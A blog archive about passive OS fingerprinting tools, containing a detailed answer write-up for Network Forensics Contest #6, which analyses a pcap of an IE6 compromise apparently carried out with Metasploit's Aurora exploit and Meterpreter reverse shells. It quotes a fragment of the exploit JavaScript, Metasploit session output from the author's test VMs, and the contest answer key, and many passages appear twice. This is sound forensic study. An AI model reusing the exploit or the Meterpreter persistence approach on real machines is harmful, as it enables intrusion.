First, I've been working on DHCPv6 fingerprinting. Not sure how many fingerprints I'll end up with in the end, but there is a dll implemented, there is an xml file and now, thanks to Jeff, there is an update to the editor!
Fingerprint Editor 1.00.06 has been published here :
http://pagesperso-orange.fr/cycocrew/delphi/FingerprintEditorSetup.exe
He also updated the DEF File Editor to 1.00.04 :
http://pagesperso-orange.fr/cycocrew/delphi/DEFFileEditorSetup.exe
I need to get back to SIP fingerprinting one of these days also. It was added to the editor back in 1.00.05 and I have a dll and a xml file for it also, but I haven't worked much on the xml file there yet either.
Wednesday, September 29, 2010
Monday, August 2, 2010
Forensics Contest #6 (yeah, the last contest)
But First....
While it would have been nice to be at defcon and participate in contest #7, I didn't have that opportunity. Nor, based on some of the emails I got would have I probably done very good at it since it appeared to be wireless packets that you had to glean info from. Who knows we'll see once they post the ~50MB pcap file.
Anyway, my netbook that I won from contest #6 came in about a week ago. I just wanted to say thanks to Sherry, Eric and Jonathan for putting the contest together and to those that provided other support for it! I look forward to the next contests!
While it would have been nice to be at defcon and participate in contest #7, I didn't have that opportunity. Nor, based on some of the emails I got would have I probably done very good at it since it appeared to be wireless packets that you had to glean info from. Who knows we'll see once they post the ~50MB pcap file.
Anyway, my netbook that I won from contest #6 came in about a week ago. I just wanted to say thanks to Sherry, Eric and Jonathan for putting the contest together and to those that provided other support for it! I look forward to the next contests!
Web application Fingerprinting with Blind Elephant
I don't talk about too many active fingerprinting applications, granted I don't know that there have been a lot of new fingerprinting applications in awhile. Anyway, ran across this today from one of the many posts picked up in Google Reader. Looks promising, I'll leave it to you to find out though!
Monday, July 26, 2010
Fingerprint Editor updated
Jeff put out a new version of the XML Fingerprint Editor for me this week after I started adding SIP fingerprints to Satori. There have been a few updates recently, the main update here was for SIP, but there have been a few cosmetic changes recently also.
As for SIP and Satori, more will be coming out on that in the next few weeks. I'm short on time, but about a week ago started adding the ability for Satori to look for Server, UserAgent and a few other pieces of info out of UDP traffic. Hopefully in the next week or two I'll have something available for download!
As for SIP and Satori, more will be coming out on that in the next few weeks. I'm short on time, but about a week ago started adding the ability for Satori to look for Server, UserAgent and a few other pieces of info out of UDP traffic. Hopefully in the next week or two I'll have something available for download!
Thursday, July 8, 2010
Contest #6 winners
Erik Hjelmvik, #2 and wins some prizes finally!
Listening to the event live now.
ps, I made finalist again, just not quite in the top 3.
Listening to the event live now.
ps, I made finalist again, just not quite in the top 3.
Sunday, July 4, 2010
Upcoming presentation for Forensics Challenge #6 and 4Cast Awards
Only July 8th they will be presenting the awards for these 2 different things. They'll also be streaming it for those not in attendance of the '2010 SANS What Works in Digital Forensics and Incident Response Summit'.
I didn't see any good links out there for these off of the forensics contest page, so unless you are used to doing SANS webinars and knew to look there you may not have known this was happening:
Forensics Contest #6: July 8th 6:30 EST
https://www.sans.org/webcasts/forensic-challenge-winners-presentation-93648
Live Forensics 4Cast Awards: July 8th 7:30 EST
https://www.sans.org/webcasts/live-forensic-4cast-awards-ceremony-93653
Something for some of you do do in the wee hours of the night, end of your work day, or right after you get home. All depending on where you find yourself in the world.
I didn't see any good links out there for these off of the forensics contest page, so unless you are used to doing SANS webinars and knew to look there you may not have known this was happening:
Forensics Contest #6: July 8th 6:30 EST
https://www.sans.org/webcasts/forensic-challenge-winners-presentation-93648
Live Forensics 4Cast Awards: July 8th 7:30 EST
https://www.sans.org/webcasts/live-forensic-4cast-awards-ceremony-93653
Something for some of you do do in the wee hours of the night, end of your work day, or right after you get home. All depending on where you find yourself in the world.
Monday, June 28, 2010
Forensic contest #6 Answer
Ok, it is now 6/28/10 around the world, so here is my writeup on the latest forensics contest from forensicscontest.com.
---
Answer 1: http://10.10.10.10:8080/index.php
Answer 2: vEI
Answer 3a: index.phpmfKSxSANkeTeNrah.gif
Answer 3b: DF3E567D6F16D040326C7A0EA29A4F41
Answer 4: 1.3
Answer 5: 87.6
Answer 6a: Windows executable
Answer 6b: B062CB8344CD3E296D8868FBEF289C7C
Answer 7a: Every third packet
Answer 7b: Every packet
Answer 7c: Every 10-15 seconds
Answer 8: 123.7
Answer 9: B062CB8344CD3E296D8868FBEF289C7C
Answer 10: 198.4
---
Tools Used:
NetworkMiner 0.92 - http://networkminer.sourceforge.net/
SplitCap 1.3 - http://sourceforge.net/projects/splitcap/
Satori 0.71 - http://myweb.cableone.net/xnih/download/satori.zip
mz-filecarver 0.1 - http://myweb.cableone.net/xnih/download/filecarve-cmd.zip
contest6 pack - http://myweb.cableone.net/xnih/download/contest6.zip
frhed - http://frhed.sourceforge.net/
wireshark - http://www.wireshark.org/
Note:
The file forensics part could be done, just as easy, with linux, using tcpflow and foremost, but I wanted to to introduce some new tools and challenge myself with using something a little different and sticking to doing it all in Windows.
---
Timeline:
Date of packet capture: 2010-04-28
17:39.59.311284 - packet capture begins, client visits and grabs index.php via HTTP Get, this php file has
17:39.59.773396 - client requests index.phpmfKSxSANkeTeNrah.gif
17:40:00.577135 - Initial syn packet to port 4444 is sent that will setup a connection that stays active until 17:41:26, in which time it downloads a 748K file (meterpreter reverse tcp connection) among other things.
17:40:35.258314 - first attempted connection (out of 119 that failed) to port 4445. These packets have a unique fingerprint in how often (# of packets) sent they change their IPID, SeqNum and Source Port.
17:42:02.985483 - Initial syn packet to port 4445 is sent that will setup a connection that stays active until 17:43.17, in which time it also downloads a 748K file (another meterpreter reverse tcp session, most likely to keep a session open even after IE was closed) among other things.
17:43:17.753022 - last packet in capture
---
Process:
I always like to start by trying to determine the OS's involved in the process. This can help understand what else may be going on in the process. So the first thing we'll do is run the capture file through Satori:
We get 2 systems. According to the Overall system info we have SMB, TCP and Web User Agent identifications made:
10.10.10.70 - Windows XP SP2+ workstation (SMB, TCP, and Web fingerprints) named SaucyDev in the workgroup/domain 'workgroup' (SMB fingerprint), running what appears to be IE 6.0 (MSIE 6.0; Windows NT 5.1: SV1) - where SV1 indicates SP2 or greater installed.
10.10.10.10 - is some type of Linux system, running Apache, very generic TCP fingerprint. Over the course of the converstation we have TCP ports 4444 and 4445 open (TCP fingerprint).
Notes:
http://10.10.10.10:8080/index.php was the infected file, we see this in the Referer under Web. (question #1)
----
The packet capture started at: 17:39.59.311284 on 2010-04-28, this will be used to calculate how long since the packet capture started so we know when things happen. While in some cases I like to know how long it took to get from point A to B, I'm normally more interested in when it actually happened, so that I can try to coorelate that with system logs across multiple systems.
----
To find out when the TCP session to port 4444 was opened we need to look at the SYN packets sent. Unfortunetly, just because a SYN was sent doesn't mean the connection was actually made, there were numerous attempts made that were rejected!
It is easier to verify what happened by looking at output from the perl script (contest6.pl) that tracks 3 way handshakes (syn, syn/ack, ack):
contest6.pl -r evidence06.pcap -o conv
Attempted conversations: 119
[1] - Starts at packet number 1153
[2] - Starts at packet number 1155
[3] - Starts at packet number 1157
...
[117] - Starts at packet number 1650
[118] - Starts at packet number 1652
[119] - Starts at packet number 1654
Full 3 way handshake conversations: 2
[0] - Starts at packet number 13
[120] - Starts at packet number 1656
Total Packets: 2554
The first 3 way handshake started in packet #13
One thing I found interesting running this script is I see 119 attempted conversations that just ended in RST/ACK packets, but if I follow a lot of those conversations in Wireshark they are a different conversation #. This is due to the fact that it reuses the TCP Sequence number, Wireshark sees those as part of the same conversation. So while I see it as conversation 120, wireshark actually see's it as 42. Wireshark may be more accurate, but I think by looking at it that way it misses the fact that the remote system is making multiple attempts to connect in each TCP stream.
We can get all Syn packets using contest6.exe this way for readability:
contest6.exe -r evidence06.pcap -l S > syn-output.txt
The last 3 fields, in order are: IPID, TCP Sequence Number, and the TCP Acknowledgement Number.
13 17:40:00,577135 S 10.10.10.70:1036 -> 10.10.10.10:4444 53 72acc97a 00000000
So packet #13 was 1.265851 seconds after the start of the capture, on 1.3 seconds assuming you figure the beginning of the 3 way handshake vs the end of it. 1.3 seconds rounded off to the nearest 10th regardless. (question #4)
The other 3 way handshake took place in packet 1656, so back to syn-output.txt, we get:
1656 17:42:02,985483 S 10.10.10.70:1044 -> 10.10.10.10:4445 598 75fad66c 00000000
123.674199 seconds, or 123.7 rounded off to the nearest 10th. (question #9)
----
Now we need to look for Fin/Ack packets for connections closing, we can do that with:
contest6.exe -r evidence06.pcap -l FA > fa-output.txt
Which we see part of below:
1562 17:41:26,898379 FA 10.10.10.10:4444 -> 10.10.10.70:1036 38671 e3317217 72ae4105
1563 17:41:26,898438 FA 10.10.10.70:1036 -> 10.10.10.10:4444 551 72ae4105 e3317217
using our start time from above we get 87.587 seconds since the start, or 87.6 rounded to the nearest 10th. (answer #5)
We also see another closure here:
2552 17:43:17,751953 FA 10.10.10.70:1044 -> 10.10.10.10:4445 845 75fb02df 55a9adcc
2553 17:43:17,752630 FA 10.10.10.10:4445 -> 10.10.10.70:1044 24677 55a9adcc 75fb02e0
This ends up being 198.44 seconds from the start of the capture, or 198.4 rounded to the nearest 10th. (answer #10)
----
Going back to the syn-output.txt we can see that the system 10.10.10.70 had actually been attempting to do connections to port 4445 even before its connection to port 4444 was closed:
1533 17:41:22,305270 S 10.10.10.70:1041 -> 10.10.10.10:4445 537 00fa0ff6 00000000
1535 17:41:22,844924 S 10.10.10.70:1041 -> 10.10.10.10:4445 538 00fa0ff6 00000000
1537 17:41:23,282416 S 10.10.10.70:1041 -> 10.10.10.10:4445 539 00fa0ff6 00000000
1539 17:41:23,283067 S 10.10.10.70:1041 -> 10.10.10.10:4445 540 00fe281a 00000000
1541 17:41:23,829288 S 10.10.10.70:1041 -> 10.10.10.10:4445 541 00fe281a 00000000
1543 17:41:24,376142 S 10.10.10.70:1041 -> 10.10.10.10:4445 542 00fe281a 00000000
1545 17:41:24,376807 S 10.10.10.70:1041 -> 10.10.10.10:4445 543 0102b86a 00000000
1547 17:41:24,813664 S 10.10.10.70:1041 -> 10.10.10.10:4445 544 0102b86a 00000000
1549 17:41:25,360537 S 10.10.10.70:1041 -> 10.10.10.10:4445 545 0102b86a 00000000
1551 17:41:25,361178 S 10.10.10.70:1041 -> 10.10.10.10:4445 546 0106f45b 00000000
1553 17:41:25,798024 S 10.10.10.70:1041 -> 10.10.10.10:4445 547 0106f45b 00000000
1555 17:41:26,344909 S 10.10.10.70:1041 -> 10.10.10.10:4445 548 0106f45b 00000000
1557 17:41:26,345542 S 10.10.10.70:1041 -> 10.10.10.10:4445 549 010b3308 00000000
1559 17:41:26,782405 S 10.10.10.70:1041 -> 10.10.10.10:4445 550 010b3308 00000000
[connection closed in here]
1566 17:41:27,329294 S 10.10.10.70:1041 -> 10.10.10.10:4445 553 010b3308 00000000
1568 17:41:34,189450 S 10.10.10.70:1042 -> 10.10.10.10:4445 554 7c016356 00000000
1570 17:41:34,657404 S 10.10.10.70:1042 -> 10.10.10.10:4445 555 7c016356 00000000
1572 17:41:35,094902 S 10.10.10.70:1042 -> 10.10.10.10:4445 556 7c016356 00000000
1574 17:41:35,095570 S 10.10.10.70:1042 -> 10.10.10.10:4445 557 7c058b67 00000000
1576 17:41:35,641778 S 10.10.10.70:1042 -> 10.10.10.10:4445 558 7c058b67 00000000
1578 17:41:36,188636 S 10.10.10.70:1042 -> 10.10.10.10:4445 559 7c058b67 00000000
1580 17:41:36,189278 S 10.10.10.70:1042 -> 10.10.10.10:4445 560 7c0a5039 00000000
1582 17:41:36,735524 S 10.10.10.70:1042 -> 10.10.10.10:4445 561 7c0a5039 00000000
1584 17:41:37,282377 S 10.10.10.70:1042 -> 10.10.10.10:4445 562 7c0a5039 00000000
1586 17:41:37,283051 S 10.10.10.70:1042 -> 10.10.10.10:4445 563 7c0f0451 00000000
1588 17:41:37,829280 S 10.10.10.70:1042 -> 10.10.10.10:4445 564 7c0f0451 00000000
1590 17:41:38,376531 S 10.10.10.70:1042 -> 10.10.10.10:4445 565 7c0f0451 00000000
1592 17:41:38,376795 S 10.10.10.70:1042 -> 10.10.10.10:4445 566 7c13ac51 00000000
1594 17:41:38,813646 S 10.10.10.70:1042 -> 10.10.10.10:4445 567 7c13ac51 00000000
1596 17:41:39,360524 S 10.10.10.70:1042 -> 10.10.10.10:4445 568 7c13ac51 00000000
1598 17:41:46,149972 S 10.10.10.70:1043 -> 10.10.10.10:4445 569 2be336bc 00000000
This pattern repeats itself, both before and after port 4444 is closed, but as you can see every 15 packets it changes the source port it is sending from (question #7.3). Every packet it changes the IPID (question #7.2) and every 3 packets it changes the TCP Sequence Number (question #7.1).
This pattern repeats itself 2 more full times before the end of the capture from this point. It completes a total of 8 iterations over the packet capture.
"contest6.pl -r evidence06.pcap -o ipinfo" could also be used to determine the info above. Both programs have their useful depending on what you are trying to determine.
----
Now that we've looked at the simple stuff, lets feed the file to NetworkMiner and SplitCap. Erik Hjelmvik recently released verison 0.92 of NetworkMiner specifically for this contest, he added the ability for it to pick up better on conversations already in progress in the packet capture (no 3 way handshake), such as packets #1-12, which in the past would have been skipped. So thanks Erik! I'm actually still running the beta version of it, but I believe the full blown version has since been released of 0.92.
Using NetworkMiner we can extract the php file. Looking over that file and cleaning up code for readability we get this, plus a lot more, but for question #2 we see what it shoves in the data part of the array:
...
var c1 = "COMMENT";
var Array1 = new Array();
for (i = 0; i < 1300; i++)
{
Array1[i] = document.createElement(c1);
Array1[i].data = "vEI";
}
...
NetworkMiner also recovers a .gif file. After running through it we can go look at that file and get the MD5 off of the 1 by 1 pixel file: DF3E567D6F16D040326C7A0EA29A4F41 (question #3)
Unfortunetly NetworkMiner doesn't help us with the non-standard traffic on port 4444 or 4445, at least not in the current version, maybe a future release, we can hope at least.
So lets move over to another program by Erik Hjelmvik, SplitCap. It works nicely for this, though its one short coming in my opinion, like a lot of the scripts written that we've seen in the past, is that it doesn't take into account resent packets, out of order, etc like NetworkMiner does. Maybe that will be fixed in a future release, again we can hope.
Anyway, we'll run splitcap with:
"splitcap -r evidence06.pcap -s flow -y L7"
We get a directory created called evidence06, with ~21 files in there. This is the TCP or UDP "data" after the respective headers for each of the streams. I believe it is the same general information that we could get with tcpflow on linux.
The main ones of interest are:
evidence06.pcap.TCP_10-10-10-10_4444_10-10-10-70_1036.bin
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin
evidence06.pcap.TCP_10-10-10-10_8080_10-10-10-70_1035.bin
evidence06.pcap.TCP_10-10-10-70_1035_10-10-10-10_8080.bin
evidence06.pcap.TCP_10-10-10-70_1036_10-10-10-10_4444.bin
evidence06.pcap.TCP_10-10-10-70_1044_10-10-10-10_4445.bin
evidence06.pcap.UDP_10-10-10-70_138_10-10-10-255_138.bin
The fun thing with using this is we can look at files like: evidence06.pcap.TCP_10-10-10-70_1035_10-10-10-10_8080.bin
And see exactly what was requested:
(question #1)
GET /index.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 10.10.10.10:8080
Connection: Keep-Alive
(question #3)
GET /index.phpmfKSxSANkeTeNrah.gif HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://10.10.10.10:8080/index.php
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 10.10.10.10:8080
Connection: Keep-Alive
The 2 main ones we are interested in are the port 4444 and 4445 files that splitcap provided us. Opening these files up with a hex editor we see an initial 4 bytes 00 6a 0b 00, possibly a protocol header or a command to download a file, because immediately after this we see the MZ magic header info. (question #6.1) We'll come back to the initial 4 bytes here in a little bit.
mzcarver.exe was written specifically to look for MZ headers in tcp dump files. We could use foremost to carve this out, but I wanted to do this all on windows, without trying to get cygwin working on the system. mzcarver does have some limitations at this point. See the readme file that accompanies it for that.
We use mzcarver.exe like this:
mzcarver /r evidence06.pcap.TCP_10-10-10-10_4444_10-10-10-70_1036.bin /d
mzcarver /r evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin /d
The /d option dumps out to disk the pre and post data that surrounded the mz file. At this point since I only carve out PE files, it appends .pe on the extracted file (this file could be a dll, exe, etc).
After running mzcarever we get the following files:
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.post
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.pre
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.pe
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.post
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.pre
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.pe
Checking the files, the first thing we notice is that the .pe files are the same size (748,032). Checking their MD5 sums we get:
port 4444 one B062CB8344CD3E296D8868FBEF289C7C (question #6.2)
port 4445 one B062CB8344CD3E296D8868FBEF289C7C (question #9)
The same thing, so why did it download the same file twice, just on different ports? Or more to the point why did "they" fire up a 2nd reverse TCP meterpreter session? More on this still to come.
Both .pre files have the same data in them "00 6a 0b 00". With a small tweak to put it in the correct byte order we get: 000b 6a00 or in Decimal format 748,032, which is the size of the file that follows. Note: Erik Hjelmvik pointed this out to me in discussions we had on this contest. I had figured out there was the pre/post info already, but hadn't determined if it was a protocol command or what at that time.
Looking at the .post files, we see the first 14 bytes are the same, but after that they start to deviate:
"16 03 00 00 4a 02 00 00 46 03 00 4b d9 48"
Some quick searches in google seem to indicate the first 8-11 bytes there appear to be some type of SSL communication/handshake.
Scanning through the .pe file with a hex editor we can see a lot of Open SSL info. I believe it even tells the version of OpenSSL, 0.9.8k
So between the OpenSSL references in the .pe file and what appears to be some type of SSL handshake in the .post info I'd say they are doing some type of encrypted data traffic after the sending of the file is complete.
In an attempt to find out more about the .pe file I renamed it to .exe and tried executing it on a VM. It comes up as an invalid executable.
---
In an attempt to understand what was going on here I downloaded Metasploit 3.4 and ran the ms10_002_aurora exploit against a few test VMs. I found that my XP SP2 IE6 box (base install of SP2, no patches) did appeared to be vulnerable (image that). I ended up with this lovely screen:
[*] Sending stage (748032 bytes) to 192.168.4.9
[*] Meterpreter session 1 opened (192.168.4.10:4444 -> 192.168.4.9:1149) at 2010-06-23 21:33:55 -0700
As you can see here it sent 748032 bytes, again same size we saw above, so this capture at least appears to have been done with metasploit running on the linux attack machine.
Now the question of why the windows box was constantly trying to connect back to the Linux host on port 4445 and why they started up a 2nd meterpreter session once they did? Exploiting IE appears to work fine with the ms10_002_Aurora exploit, but if/when the user closes IE down, your connection drops. So how to overcome this.... As soon as you get your initial interactive session you upload a new program and launch it. This new program will try to reverse connect back to you as new process. Perhaps setting this up to run as a new service, or just a simple one time run. This way, even if IE gets closed down you get the new connection on port 4445 connected to you and go in over that connection.
I honestly don't know if that is what happened in this case, but, whatever was trying to contact back on port 4445 had to try multiple times and is quite chatty. Leaving a specific signature that would be fairly easy to detect with an IDS. Changing its source port every 15 packets, its seqnum every 3 and its ipid every 1 at least as long as it continues to try to connect to the remost system on port 4445 and fails. Typically you'd want to be listening ahead of time on that port, or perhaps have a more random and longer pause time between packets.
Note: In all fairness I wouldn't have even looked at this from the Metasploit side if Erik hadn't mentioned it in our ongoing conversations, he at least got me started down the Meterpreter road here. This brings up why I like to work on issues like this in a team setting, it gives you someone else to bounce ideas/issues off of!
---
So yes, Metasploit and the ms10_002_aurora exploit makes pretty easy work of compromising a XP box with IE6 still installed on it. This appears to be what happened overall in this case, but there may be other exploits that utilize some of these same things.
---
Answer 1: http://10.10.10.10:8080/index.php
Answer 2: vEI
Answer 3a: index.phpmfKSxSANkeTeNrah.gif
Answer 3b: DF3E567D6F16D040326C7A0EA29A4F41
Answer 4: 1.3
Answer 5: 87.6
Answer 6a: Windows executable
Answer 6b: B062CB8344CD3E296D8868FBEF289C7C
Answer 7a: Every third packet
Answer 7b: Every packet
Answer 7c: Every 10-15 seconds
Answer 8: 123.7
Answer 9: B062CB8344CD3E296D8868FBEF289C7C
Answer 10: 198.4
---
Tools Used:
NetworkMiner 0.92 - http://networkminer.sourceforge.net/
SplitCap 1.3 - http://sourceforge.net/projects/splitcap/
Satori 0.71 - http://myweb.cableone.net/xnih/download/satori.zip
mz-filecarver 0.1 - http://myweb.cableone.net/xnih/download/filecarve-cmd.zip
contest6 pack - http://myweb.cableone.net/xnih/download/contest6.zip
frhed - http://frhed.sourceforge.net/
wireshark - http://www.wireshark.org/
Note:
The file forensics part could be done, just as easy, with linux, using tcpflow and foremost, but I wanted to to introduce some new tools and challenge myself with using something a little different and sticking to doing it all in Windows.
---
Timeline:
Date of packet capture: 2010-04-28
17:39.59.311284 - packet capture begins, client visits and grabs index.php via HTTP Get, this php file has
17:39.59.773396 - client requests index.phpmfKSxSANkeTeNrah.gif
17:40:00.577135 - Initial syn packet to port 4444 is sent that will setup a connection that stays active until 17:41:26, in which time it downloads a 748K file (meterpreter reverse tcp connection) among other things.
17:40:35.258314 - first attempted connection (out of 119 that failed) to port 4445. These packets have a unique fingerprint in how often (# of packets) sent they change their IPID, SeqNum and Source Port.
17:42:02.985483 - Initial syn packet to port 4445 is sent that will setup a connection that stays active until 17:43.17, in which time it also downloads a 748K file (another meterpreter reverse tcp session, most likely to keep a session open even after IE was closed) among other things.
17:43:17.753022 - last packet in capture
---
Process:
I always like to start by trying to determine the OS's involved in the process. This can help understand what else may be going on in the process. So the first thing we'll do is run the capture file through Satori:
We get 2 systems. According to the Overall system info we have SMB, TCP and Web User Agent identifications made:
10.10.10.70 - Windows XP SP2+ workstation (SMB, TCP, and Web fingerprints) named SaucyDev in the workgroup/domain 'workgroup' (SMB fingerprint), running what appears to be IE 6.0 (MSIE 6.0; Windows NT 5.1: SV1) - where SV1 indicates SP2 or greater installed.
10.10.10.10 - is some type of Linux system, running Apache, very generic TCP fingerprint. Over the course of the converstation we have TCP ports 4444 and 4445 open (TCP fingerprint).
Notes:
http://10.10.10.10:8080/index.php was the infected file, we see this in the Referer under Web. (question #1)
----
The packet capture started at: 17:39.59.311284 on 2010-04-28, this will be used to calculate how long since the packet capture started so we know when things happen. While in some cases I like to know how long it took to get from point A to B, I'm normally more interested in when it actually happened, so that I can try to coorelate that with system logs across multiple systems.
----
To find out when the TCP session to port 4444 was opened we need to look at the SYN packets sent. Unfortunetly, just because a SYN was sent doesn't mean the connection was actually made, there were numerous attempts made that were rejected!
It is easier to verify what happened by looking at output from the perl script (contest6.pl) that tracks 3 way handshakes (syn, syn/ack, ack):
contest6.pl -r evidence06.pcap -o conv
Attempted conversations: 119
[1] - Starts at packet number 1153
[2] - Starts at packet number 1155
[3] - Starts at packet number 1157
...
[117] - Starts at packet number 1650
[118] - Starts at packet number 1652
[119] - Starts at packet number 1654
Full 3 way handshake conversations: 2
[0] - Starts at packet number 13
[120] - Starts at packet number 1656
Total Packets: 2554
The first 3 way handshake started in packet #13
One thing I found interesting running this script is I see 119 attempted conversations that just ended in RST/ACK packets, but if I follow a lot of those conversations in Wireshark they are a different conversation #. This is due to the fact that it reuses the TCP Sequence number, Wireshark sees those as part of the same conversation. So while I see it as conversation 120, wireshark actually see's it as 42. Wireshark may be more accurate, but I think by looking at it that way it misses the fact that the remote system is making multiple attempts to connect in each TCP stream.
We can get all Syn packets using contest6.exe this way for readability:
contest6.exe -r evidence06.pcap -l S > syn-output.txt
The last 3 fields, in order are: IPID, TCP Sequence Number, and the TCP Acknowledgement Number.
13 17:40:00,577135 S 10.10.10.70:1036 -> 10.10.10.10:4444 53 72acc97a 00000000
So packet #13 was 1.265851 seconds after the start of the capture, on 1.3 seconds assuming you figure the beginning of the 3 way handshake vs the end of it. 1.3 seconds rounded off to the nearest 10th regardless. (question #4)
The other 3 way handshake took place in packet 1656, so back to syn-output.txt, we get:
1656 17:42:02,985483 S 10.10.10.70:1044 -> 10.10.10.10:4445 598 75fad66c 00000000
123.674199 seconds, or 123.7 rounded off to the nearest 10th. (question #9)
----
Now we need to look for Fin/Ack packets for connections closing, we can do that with:
contest6.exe -r evidence06.pcap -l FA > fa-output.txt
Which we see part of below:
1562 17:41:26,898379 FA 10.10.10.10:4444 -> 10.10.10.70:1036 38671 e3317217 72ae4105
1563 17:41:26,898438 FA 10.10.10.70:1036 -> 10.10.10.10:4444 551 72ae4105 e3317217
using our start time from above we get 87.587 seconds since the start, or 87.6 rounded to the nearest 10th. (answer #5)
We also see another closure here:
2552 17:43:17,751953 FA 10.10.10.70:1044 -> 10.10.10.10:4445 845 75fb02df 55a9adcc
2553 17:43:17,752630 FA 10.10.10.10:4445 -> 10.10.10.70:1044 24677 55a9adcc 75fb02e0
This ends up being 198.44 seconds from the start of the capture, or 198.4 rounded to the nearest 10th. (answer #10)
----
Going back to the syn-output.txt we can see that the system 10.10.10.70 had actually been attempting to do connections to port 4445 even before its connection to port 4444 was closed:
1533 17:41:22,305270 S 10.10.10.70:1041 -> 10.10.10.10:4445 537 00fa0ff6 00000000
1535 17:41:22,844924 S 10.10.10.70:1041 -> 10.10.10.10:4445 538 00fa0ff6 00000000
1537 17:41:23,282416 S 10.10.10.70:1041 -> 10.10.10.10:4445 539 00fa0ff6 00000000
1539 17:41:23,283067 S 10.10.10.70:1041 -> 10.10.10.10:4445 540 00fe281a 00000000
1541 17:41:23,829288 S 10.10.10.70:1041 -> 10.10.10.10:4445 541 00fe281a 00000000
1543 17:41:24,376142 S 10.10.10.70:1041 -> 10.10.10.10:4445 542 00fe281a 00000000
1545 17:41:24,376807 S 10.10.10.70:1041 -> 10.10.10.10:4445 543 0102b86a 00000000
1547 17:41:24,813664 S 10.10.10.70:1041 -> 10.10.10.10:4445 544 0102b86a 00000000
1549 17:41:25,360537 S 10.10.10.70:1041 -> 10.10.10.10:4445 545 0102b86a 00000000
1551 17:41:25,361178 S 10.10.10.70:1041 -> 10.10.10.10:4445 546 0106f45b 00000000
1553 17:41:25,798024 S 10.10.10.70:1041 -> 10.10.10.10:4445 547 0106f45b 00000000
1555 17:41:26,344909 S 10.10.10.70:1041 -> 10.10.10.10:4445 548 0106f45b 00000000
1557 17:41:26,345542 S 10.10.10.70:1041 -> 10.10.10.10:4445 549 010b3308 00000000
1559 17:41:26,782405 S 10.10.10.70:1041 -> 10.10.10.10:4445 550 010b3308 00000000
[connection closed in here]
1566 17:41:27,329294 S 10.10.10.70:1041 -> 10.10.10.10:4445 553 010b3308 00000000
1568 17:41:34,189450 S 10.10.10.70:1042 -> 10.10.10.10:4445 554 7c016356 00000000
1570 17:41:34,657404 S 10.10.10.70:1042 -> 10.10.10.10:4445 555 7c016356 00000000
1572 17:41:35,094902 S 10.10.10.70:1042 -> 10.10.10.10:4445 556 7c016356 00000000
1574 17:41:35,095570 S 10.10.10.70:1042 -> 10.10.10.10:4445 557 7c058b67 00000000
1576 17:41:35,641778 S 10.10.10.70:1042 -> 10.10.10.10:4445 558 7c058b67 00000000
1578 17:41:36,188636 S 10.10.10.70:1042 -> 10.10.10.10:4445 559 7c058b67 00000000
1580 17:41:36,189278 S 10.10.10.70:1042 -> 10.10.10.10:4445 560 7c0a5039 00000000
1582 17:41:36,735524 S 10.10.10.70:1042 -> 10.10.10.10:4445 561 7c0a5039 00000000
1584 17:41:37,282377 S 10.10.10.70:1042 -> 10.10.10.10:4445 562 7c0a5039 00000000
1586 17:41:37,283051 S 10.10.10.70:1042 -> 10.10.10.10:4445 563 7c0f0451 00000000
1588 17:41:37,829280 S 10.10.10.70:1042 -> 10.10.10.10:4445 564 7c0f0451 00000000
1590 17:41:38,376531 S 10.10.10.70:1042 -> 10.10.10.10:4445 565 7c0f0451 00000000
1592 17:41:38,376795 S 10.10.10.70:1042 -> 10.10.10.10:4445 566 7c13ac51 00000000
1594 17:41:38,813646 S 10.10.10.70:1042 -> 10.10.10.10:4445 567 7c13ac51 00000000
1596 17:41:39,360524 S 10.10.10.70:1042 -> 10.10.10.10:4445 568 7c13ac51 00000000
1598 17:41:46,149972 S 10.10.10.70:1043 -> 10.10.10.10:4445 569 2be336bc 00000000
This pattern repeats itself, both before and after port 4444 is closed, but as you can see every 15 packets it changes the source port it is sending from (question #7.3). Every packet it changes the IPID (question #7.2) and every 3 packets it changes the TCP Sequence Number (question #7.1).
This pattern repeats itself 2 more full times before the end of the capture from this point. It completes a total of 8 iterations over the packet capture.
"contest6.pl -r evidence06.pcap -o ipinfo" could also be used to determine the info above. Both programs have their useful depending on what you are trying to determine.
----
Now that we've looked at the simple stuff, lets feed the file to NetworkMiner and SplitCap. Erik Hjelmvik recently released verison 0.92 of NetworkMiner specifically for this contest, he added the ability for it to pick up better on conversations already in progress in the packet capture (no 3 way handshake), such as packets #1-12, which in the past would have been skipped. So thanks Erik! I'm actually still running the beta version of it, but I believe the full blown version has since been released of 0.92.
Using NetworkMiner we can extract the php file. Looking over that file and cleaning up code for readability we get this, plus a lot more, but for question #2 we see what it shoves in the data part of the array:
...
var c1 = "COMMENT";
var Array1 = new Array();
for (i = 0; i < 1300; i++)
{
Array1[i] = document.createElement(c1);
Array1[i].data = "vEI";
}
...
NetworkMiner also recovers a .gif file. After running through it we can go look at that file and get the MD5 off of the 1 by 1 pixel file: DF3E567D6F16D040326C7A0EA29A4F41 (question #3)
Unfortunetly NetworkMiner doesn't help us with the non-standard traffic on port 4444 or 4445, at least not in the current version, maybe a future release, we can hope at least.
So lets move over to another program by Erik Hjelmvik, SplitCap. It works nicely for this, though its one short coming in my opinion, like a lot of the scripts written that we've seen in the past, is that it doesn't take into account resent packets, out of order, etc like NetworkMiner does. Maybe that will be fixed in a future release, again we can hope.
Anyway, we'll run splitcap with:
"splitcap -r evidence06.pcap -s flow -y L7"
We get a directory created called evidence06, with ~21 files in there. This is the TCP or UDP "data" after the respective headers for each of the streams. I believe it is the same general information that we could get with tcpflow on linux.
The main ones of interest are:
